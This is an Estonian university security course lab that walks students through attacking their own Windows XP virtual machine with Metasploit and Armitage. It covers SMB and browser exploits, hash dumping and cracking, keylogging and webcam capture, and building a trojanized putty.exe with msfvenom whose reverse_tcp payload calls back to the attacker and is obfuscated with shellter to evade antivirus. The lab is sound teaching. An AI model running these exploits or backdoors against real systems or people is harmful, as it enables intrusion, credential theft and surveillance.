Arvutiteaduse instituut
  1. Kursused
  2. 2020/21 kevad
  3. Andmeturve (LTAT.06.002)
EN
Logi sisse

Andmeturve 2020/21 kevad

  • Pealeht
  • Loengud
  • Praktikumid
  • Referaat
  • Kirjandus
  • Turvauudised
  • Lingid

Praktikum 12 - Turvaaukude ärakasutamine

Käesolevas praktikumis vaatleme lähemalt, kuidas pahalane on võimeline ohvri arvuti uuendamata tarkvara turvanõrkusi ära kasutama. Selleks kasutame Metasploit framework nimelist populaarset ründetarkvara koos Armitage kasutajaliidesega ning ohvriks eelmisest praktikumist tuttavat Windows XP SP3 virtuaalmasinat. Kiirema keskkonna seadistamise eesmärgil kasutame Kali Linux virtuaalmasinat, mille Virtualbox versiooni saame alla laadida Offensive Security veebilehelt.

Kali Linux ja metasploit seadistamine

Alustuseks laadime alla vajaliku tarkvara:

  • Offensive Security lehel https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b otsige halli + märki kirjaga Kali Linux Virtualbox images ning avanenud nimekirjast valige Kali Linux VirtualBox 32-Bit (otselink: https://images.kali.org/virtual-images/kali-linux-2021.1-vbox-i386.ova ).
  • Eelmisest praktikumist võiks teil juba olemas olla Andmeturve_XP_SP3.ova https://owncloud.ut.ee/owncloud/index.php/s/CrtBMvRouATSgz8 lehelt, kus allalaadimise parooliks sisestage aine kood LTAT.06.002.
  • Kõvaketta ruumi kokkuhoiu huvides võite kustutada eelnevates praktikumides kasutusel olnud andmeturve virtuaalmasinad: Andmeturve Linux Mint kloon ja Andmeturve Windows 10. Järgnevates praktikumides me neid enam ei vaja, sest mugavam on uued virtuaalmasinad importida, kui olemasolevate seadeid ühtlustada ning neid tööle saada. Loomulikult eeldab kustutamine, et olete varasemad praktikumid edukalt sooritanud ja esitanud.

Järgnevalt importige vaikeseadetega kali-linux-2021.1-vbox-i386.ova (kasutaja: kali, parool: kali) ja Andmeturve_XP_SP3.ova virtuaalmasinad (kui teil on praktikumist 11 Andmeturve_XP_SP3.ova juba olemas siis pole vaja uuesti importida). Enne virtuaalmasinate käivitamist on mõistlik igaks juhuks neile genereerida uued MAC aadressid Virtualbox -> parem klahv soovitud virtuaalmasina nimel -> Settings -> Network -> Advanced -> MAC Address rea lõpus refresh nupp (Kui rida on hall, st ei luba genereerida siis veendu, et su virtuaalmasin on väljalülitatud olekus.)

Nüüd käivitage Kali Linux virtuaalmasin ja ekraani dünaamiliseks suuruse muutmiseks on vaja paigaldada Devices -> Insert guest additions CD image -> ja käivitada käsurealt sudo sh VBoxLinuxAdditions.run (CD kaustas) ning reboot

Pärast taaskäivitamist peaks töötama ekraani suuruse muutmine ja nüüd paigaldage vajalik tarkvara:

sudo apt update
sudo apt install kali-tools-exploitation
sudo systemctl start postgresql
sudo msfdb init
sudo armitage

Armitage käivitamise ajal vajutage Connect ja Yes (RPC Server) küsimustele. Nüüd peaks teil olema avatud Armitage kasutajaliides. Sulgege Armitage

Edukaks võrguründeks on meil vaja, et meie ohver ja ründaja saaksid omavahel suhelda, selleks seadistame mõlemad virtuaalmasinad Kali Linux ja Windows XP kasutama bridge mode võrguühendust. Veendu, et mõlemad virtuaalmasinad on saanud endale uued IP-aadressid teie kodus kasutatavast alamvõrgus (enamasti 192.168.1.124 vms, 10.0.2.15 on NAT aadress ja ei ole sobiv. Tehke virtuaalmasinale taaskäivitus pärast mida on loodetavasti virtuaalmasinal siiski õige IP-aadress.) Linuxis näeb IP-aadressi ip a käsuga ja Windowsis cmd käsureal ipconfig sisestades.

Windows XP masinas tuleb lubada Start -> Control Panel -> vasakul Switch to Classic View -> Windows Firewall -> General -> Off (not recommended)

Windows XP -> Start -> Control Panel -> Network Connections -> parem hiireklahv Local Area Connection -> Properties -> luba File and Printer Sharing for Microsoft Networks -> OK

Windows XP -> Start -> Control Panel -> System -> Remote -> luba Allow users to connect remotely to this computer -> OK

Veendumaks, et meie Kali Linux saab ühendust Windows XP masinaga sisestage nmap -sV 192.168.X.Y, kus X ja Y asendage enda IP-aadressiga. Väljundis peab kindlasti olema nähtav port 445/tcp open microsoft-ds, kui ei ole kontrollige eelnevaid tegevusi kuni on nähtav või võtke ühendust aine õppejõuga. Hetkel parim ja kiireim lahendus kui Windows XP virtuaalmasin käsureal netstat -an käsu peale ka ei näita port 445 aktiivsena Windows XP virtuaalmasin uuesti importida Virtualboxi. Eelnev mure tuleneb asjaolust, et praktikumis 11 mõni pahalastest on süsteemi teinud muudatusi, mis mõjutab Windows XP normaalset toimimist taustal.

Armitage

Nüüd on meil ohvriks olev Windows XP virtuaalmasin ja Kali Linux seadistatud omavahel suhtlema ning ohvri arvutis on vähendatud turvalisust, et ründed võimalikud oleksid.

Käivitame uuesti armitage tarkvara järgnevate käskudega

sudo systemctl start postgresql
sudo armitage

Alustame rünnakut võrgus skännimisega (ohvri leidmisega). Armitage -> rippmenüü Hosts -> Nmap Scan -> Quick Scan (OS detect) -> Sisestage enda alamvõrgu aadress näiteks 192.168.1.0/24 -> OK Oodake kuni 1 minut pärast mida peaks ohvri virtuaalmasin (ja mõned muud veel) nähtavale ilmuma.

Nüüd uurime ohvrit täpsemalt tehes talle põhjaliku avatud portide otsimise Armitage -> rippmenüü Hosts -> Nmap Scan -> Intense Scan, no ping -> Sisestage Windows XP (ohvri) IP-aadress näiteks 192.168.1.175 -> OK -> jälgige all väljundit ja uurige mida tuvastati ohvri kohta. Kuigi meie näites on ka ohver meie kontrolli all, siis enamik päriselulistes rünnakutes ei ole ohvrist kuigi palju teada ja info kogumine ning kasutatava tarkvara tuvastamine on eelduseks hilisemaks edukaks ründeks.

Nüüd on meil teada ohvri arvuti IP-aadress, avatud TCP pordid 137, 139, 445 ja 3389 ning operatsioonisüsteem Windows XP SP3. Järgnevalt peame Interneti avarustest leidma sobiva exploit ehk haavatavuse ja lootma, et sellele on ka näidiskood kuidas rünnata olemas. Näiteks Exploit Database nimeline leht võimaldab suhteliselt mugavalt filtreerida vastuseid meid huvitavate portide põhjal https://www.exploit-db.com/?type=remote&platform=windows&port=445

Nüüd peaksime hakkama vastuseid detailselt läbi analüüsima, kuid lihtsuse huvides annavad siinkohal õppejõud teile vihje, et MS08-067 ja MS17_010 on haavatavused, mis meile huvi pakuvad.

Järgnevalt proovimegi armitage tarkvaras vastavaid ründeid ära kasutada, selleks kirjutage vasakul olevasse otsingu aknasse ms08 ja/või leidke nimekirjast exploit/windows/smb/ms08_067_netapi käivitamiseks võite lohistada vastava exploit sobiva arvuti peale armitage tarkvaras (või teha topeltklikk ning sisestage käsitsi õige RHOST IP-aadress). Nüüd vajutage Launch nuppu ja jälgige väljundit alumises mustas kastis. Eduka ründe korral muutub ohvri arvuti punaseks ning välgujoontega ümbritsetuks.

Palju õnne, olete edukalt ohvri arvutis. Järgnevalt vaatame kuidas endale küsida täiendavaid õigusi (enamasti saate esialgu ligi tavaõigustega) ning mida muud huvitavat me ohvri arvutis teha saame. Nüüd minge ohvri arvuti peale ja tehke seal parem hiireklahv -> Meterpreter -> Access -> Escalate Priviledges , mille tulemusena avaneb vasakaul nn local ehk kohalikud ründed õiguste suurendamiseks. Kuna meil juba on süsteemi õigused siis hetkel me õiguste omandamist täpsemalt ei vaata.

Järgnevalt vaatame kuidas ligi pääseda kasutaja paroolidele, selleks parem hiireklahv ohvri arvutil -> Meterpreter -> Access -> Dump Hashes -> lsass method -> jälgi väljundit all aknas.

Nüüd peame muutma parooli räsid inimloetavale kujule, selleks tulevad meile appi veebilehed, mis võimaldavad levinud räsisid kontrollida nende andmebaasis olevate vastu ning kui ei leidu, siis väikese "tasu" eest need meile lahti murda. Meie parool on suhteliselt lihtne ja leidke https://crackstation.net/ lehte või mõnda sarnast kasutades, mis on Andmeturve Windows XP virtuaalmasina kasutaja Administrator parool?

Ülesanne 1: Mis on Andmeturve Windows XP Administrator kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM puhul osaliselt sobivat Partial match vastust)

Järgnevalt vaatame kuidas ligi pääseda kasutaja sisestatud klahvivajutustele (näiteks veebilehitsejas sisestatud paroolid), selleks parem hiireklahv ohvri arvutil -> Meterpreter -> Explore -> Log Keystrokes -> jälgi väljundit all aknas (jätke aken avatuks).

Nüüd minge Windows XP arvutisse ja külastage veebilehitsejaga aadressi https://andmeturve-lab.appspot.com/ ja sisestage väljadele oma Eesnimi, Perenimi ja sõnum. Vaata näidist allpool.

Ülesanne 2: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), Log Keystrokes edukas rünne ja teie Eesnimi, Perenimi

Tutvuge ka teiste valikutega mida ohvri arvutiga saate teha. Mõned millele õppejõud soovitavad kindlasti proovida:

  • Merpreter -> Access -> Persist (järgmine kord paneb ennast ise tööle), Pass Session (pahalase seansi üle viimine teise protsessi peale näiteks veebilehitsejast explorer.exe vms).
  • Merpreter -> Explore -> Browse Files (võimaldab mugavalt faile vaadata), Show Processes (tutvu käimasolevate protsessidega (näiteks kui otsid võimalusi õiguste eskaleerimiseks), Screenshot (ekraanipilt), Webcam Shot (nö kahjunõude rünnak, ma tean küll mis sa seal arvuti ees teed)
  • Meterpreter -> Pivoting -> Setup (Võimaldab kasutada ohvrit nö lülina ahelas, et järgmiste ohvriteni pääseda. Kasutatakse palju veebiserveritest edasi sisevõrku pääsemiseks). Võimaldab teha nmap ja muid tegevusi pivot arvutist lähtuvalt.

Katkestame nüüd aktiivse meterpreter seansi ja katsetame veel mõnda teist rünnet.

  • parem hiireklahv ohvri arvutil -> Merpreter -> Kill (katkestab aktiivse seansi ohvriga)

Katsetage nüüd ohvri peal uuesti rünnakut (tehke iseseisvalt, peaks õnnestuma rünnak):

ms17_010_psexec

Katkestame nüüd aktiivse meterpreter seansi ja katsetame mõnda teist rünnet veel.

  • parem hiireklahv ohvri arvutil -> Meterpreter -> Kill (katkestab aktiivse seansi ohvriga)

Testime kas ohver on haavatav ja katsetame uuesti rünnakut:

auxiliary/scanner/rdp/cve_2019_0708_bluekeep
exploit/windows/rdp/cve_2019_0708_bluekeep_rce (Targets: 2 => Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)

Ei õnnestu ohvrit üle võtta. Nagu nimigi ütleb sobib pigem Windows 7 ründamiseks, kuigi internetis on leitav modifikatsioon mis väidetavalt suudab edukalt ka Windows XP rünnata, mis tegelikult on vastavale ründele ka haavatav. Ei hakka siinkohal katsetama.

Mitte kõik ründed ei võta ohvrit üle näiteks järgmine rünnak võimaldab arvutile DOS (Denial Of Service) meie puhul restart teha:

auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Peaks sundima Windows XP arvuti restarti

Ründame aegunud tarkvara

Kui kasutaja on turvateadlik ja omab uuendatud tarkvara, koos tulemüüri ja antiviirusega on päriselus suhteliselt raske leida arvuteid, mis oleksid haavatavad. Leidub, aga valdav enamik on siiski täna juba turvatud. Seega vaatame olukorda kus eesmärgiks on rünnata kasutajat külastama mingit veebilehte, mille aadress edastatakse e-mailiga (või mõnda muudmoodi). Enne edasi minemist katkestage kõik aktiivsed meterpreter seansid.

Vahetage Windows XP virtuaalmasina võrguadapteri tüübiks tagasi NAT IP-aadress 10.0.2.15 illustreerimaks kuidas järgmine rünnak töötab ka olukorras, kus teil puudub otsene ligipääs ohvri arvutile.

Otsige armitage tegevuste menüüst üles pahalane nimega ms10_002_aurora ja tehke temal topeltklõps. Avanenud menüüs jätke vaikeseaded ja vajutage Launch

ms10_002_aurora

Nüüd otsige alumises aknas rida Local IP: http://192.168.1.242:8080/TRN3iK2JR5w on teil arvatavasti veidi erinev ning kopeerige see mälusse.

Avage Windows XP veebilehitseja Internet Explorer (mitte: FireFox, mis pole haavatav) ning külastage eelnevalt viidatud aadressi Internet Explorer veebilehitsega. Nüüd peaks Internet Explorer hanguma ja armitages rünnaku aknas tulema kiri Meterpreter session 4 opened ... (eelnevas väljundis sessiooni number on teil erinev arvatavasti). Kui esimesel korral ei õnnestu sundige Internet Explorer sulguma ja avage aadress uuesti. Ohver peaks punaseks värvuma armitage tarkvaras.

Ülesanne 3: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), ms10_002_aurora edukas rünne koos kirjaga Meterpreter session 4 opened ....

Näidislahendus (Windows XP aken ei ole vajalik vaid teile illustreerimiseks).

Varjatud funktsionaalsusega faili loomine

Eelnevalt vaatasime kuidas ära kasutada aegunud tarkvaras esinevaid levinud turvaauke. Järgnevalt läheme aga sammu kaugemale ja vaatame kuidas luua enda pahavara, mis oleks väikeste modifikatsioonidega võimeline nakatama ka kaasaegset uuendatud Windows 10 arvutit.

Keskkond:

  • Ründaja Kali Linux 32-bit, Network bridge mode
  • Ohver Windows XP SP3, Network NAT mode

Pahalase loomine

msfvenom on tarkvara, mis võimaldab luua peidetud pahalast ohvri nakatumiseks. Täpsemalt peidab ta olemasoleva või uue tarkvara sisse funktsionaalsuse, mis kasutab nn helista koju funktsionaalsust, kus pärast käivitamist ohvri (kasutaja) poolt võtab ta ühendust metasploit serveriga. Rohkem infot https://www.offensive-security.com/metasploit-unleashed/msfvenom/ . Enne msfvenom kasutamist peaksime alla laadima tarkvara, mida kasutada viiruse sisendiks (nö programmi nähtav osa).

Selleks mine Kali Linuxiga internetti ja laadi alla 32 bit putty.exe programm. (Otselink https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe )

Järgnev käsk võtab sisendiks putty.exe ning liidab sellega meterpreter reverse_tcp ühenduse loomiseks vajalikud bitid ja baidid. Kindlasti peate järgmises käsus ära muutma LHOST=192.168.1.242 parameetri, mis vastaks teie Kali Linux IP-aadressile. Samuti peab LPORT=20123 parameetris pordi kolm viimast numbrit vastama teie matriklinumbri kolmele viimasele numbrile. (See on vajalik, et meil oleks võimalik tuvastada hiljem, et lahenduse pildid kuuluvad teile.)

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=192.168.1.242 LPORT=20123 -x putty.exe -k -o /home/kali/putty-fixed.exe

Nüüd on meil olemas putty tarkvarast modifitseeritud versioon, mis iga kord kui seda käima panna üritab taustal ühendust võtta käsu sisendiks olnud IP-aadressi ja pordiga. msfvenom loodud modifitseeringud on aga juba laialt levinud ja enamik viirusetõrje tarkvarasid on võimelised seda kiiresti tuvastama. Järgnevalt vaatame shellter nimelist tarkvara, mis üritab loodavat programmikoodi hägustada ja sellega loodetavasti osad viirusetõrje tarkvarad ära petta. Tõsi mitte küll kuigi edukalt enam aastal 2020, kuid sarnased tasulised või vähemlevinud tarkvarad siiski seda tihti suudavad. Niipea kui koodi hägustav tarkvara saab populaarseks või hakkab rohkem levima suudavad ka viirusetõrje tarkvarad selle tuvastamise ära õppida. Lisaks kasutavad mitmed viirusetõrjed täna koodi käivitamist isoleeritud docker või sarnastes keskkondades, kus nad saavad pahalase käitumist paremini uurida kui ainult programmikoodi analüüsides oleks võimalik. Vastavat funktsionaalsust vaatame veidi hiljem https://virustotal.com lehelt.

sudo apt install shellter
sudo shellter

Sisesta vastused nagu näidatud järgneval pildil. NB! Pordinumbri kolm viimast kohta peavad vastama teie matriklinumbri kolmele viimasele kohale. Näiteks 20123 juures 123 oleksid õppejõu matriklinumbri kolm viimast kohta.

Testime pahalast

Peame nüüd kuidagi pahalase toimetama ohvri arvutisse. Seda saaks teha e-mailiga või muudmoodi veenda kasutajat avama meie loodud faili. Käesolevas näites lõime *.exe faili, kuid sarnaseid näiteid on ka PDF, DOC ja teiste levinud failitüüpide korral (igaüks ründab nõrkusi vastavas tarkvaras). Toimetame pahalase Windows XP arvutisse hetkel üle ssh ühenduse, selleks lubame ssh ühendused Kali Linuxis

sudo service ssh start
sudo service ssh status

Windows XP masinas läheme internetti ja laadime alla Bitvise ssh client tarkvara https://www.bitvise.com/ssh-client-download ning paigaldame selle.

Nüüd loome ssh ühenduse Kali Linux'iga ja kopeerime Downloads kaustast modifitseeritud putty.exe ja putty-fixed.exe failid Windows XP Desktopile.

Nüüd peame seadistama Kali Linux pahalast kuulama. Käivitame uuesti armitage tarkvara järgnevate käskudega

sudo systemctl start postgresql
sudo armitage

Rippmenüüst Armitage -> Listeners -> Reverse (wait for) -> Create listener, Port: 20XXX, kus XXX on sinu matrikli kolm viimast numbrit ehk LPORT, mille seadistasid shellter käivitades. Type: meterpreter -> Start Listener

Nüüd võime Windows XP Desktopilt käivitada putty.exe, avaneb tavaline putty programm ning kasutajale ei viita miskit, et taustal käib pahalane. Kui aga vaatame armitage tarkvarasse, siis peaksime avastama, et vahepeal on meiega ühendust võtnud ohvri arvuti.

  • Ülesanne 4: Esita ekraanivaade armitage tarkvarast kus on näha nakatunud ohver ja meterpreter seansi info (LPORT parameetri väärtus). Näidislahendus.

Katkestage ühendus ja proovige, ka putty-fixed.exe nimelist pahavara. Peaks töötama samuti edukalt, kuna meie Windows XP ei oma aktiivset viirusetõrjet (samas õppejõu arvutis katkes ühendus 10s jooksul).

Uurime nüüd lähemalt mida, arvavad erinevad viirusetõrje tarkvarad meie loodud pahavarast. Selleks laadige tarkvara üles aadressile https://virustotal.com teie modifitseeritud putty.exe versioon ja oodake paar minutit millal veebileht lõpetab faili analüüsi. Tutvuge tulemustega.

  • Ülesanne 5: Esitage ekraanivaade virustotal.com veebilehel BEHAVIOR vahelest, kus on näha teie pahalase Network Communication juures sinu matriklinumbri kolmele viimasele numbrile vastav pordinumber.

Esitada Praktikum12:

Praktikumi ülesande lahendamine annab neli punkti ja esitamiseks on umbes kaks nädalat alates praktikumi toimumisajast ( kuni 12. mai tähtajani).

  • Ülesanne 1: Mis on Andmeturve Windows XP Administrator kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM puhul osaliselt sobivat Partial match vastust) - 0.5p
  • Ülesanne 2: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), Log Keystrokes edukas rünne ja teie Eesnimi, Perenimi - 1p
  • Ülesanne 3: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), ms10_002_aurora edukas rünne koos kirjaga Meterpreter session 4 opened .... - 1p
  • Ülesanne 4: Esita ekraanivaade armitage tarkvarast kus on näha nakatunud ohver ja meterpreter seansi info (LPORT parameetri väärtus, mis vastab teie matriklinumbri viimastele kohtadele). - 1p
  • Ülesanne 5: Esitage ekraanivaade virustotal.com veebilehel BEHAVIOR vahelest, kus on näha teie pahalase Network Communication juures sinu matriklinumbri kolmele viimasele numbrile vastav pordinumber. - 0.5p
12. Praktikum 12 - Turvaaukude ärakasutamine
Sellele ülesandele ei saa enam lahendusi esitada.

Armitage näidisvideod Youtubest.

  • https://www.youtube.com/results?search_query=armitage+xp+hacking
  • https://www.youtube.com/results?search_query=armitage+client+side+attack
  • Arvutiteaduse instituut
  • Loodus- ja täppisteaduste valdkond
  • Tartu Ülikool
Tehniliste probleemide või küsimuste korral kirjuta:

Kursuse sisu ja korralduslike küsimustega pöörduge kursuse korraldajate poole.
Õppematerjalide varalised autoriõigused kuuluvad Tartu Ülikoolile. Õppematerjalide kasutamine on lubatud autoriõiguse seaduses ettenähtud teose vaba kasutamise eesmärkidel ja tingimustel. Õppematerjalide kasutamisel on kasutaja kohustatud viitama õppematerjalide autorile.
Õppematerjalide kasutamine muudel eesmärkidel on lubatud ainult Tartu Ülikooli eelneval kirjalikul nõusolekul.
Courses’i keskkonna kasutustingimused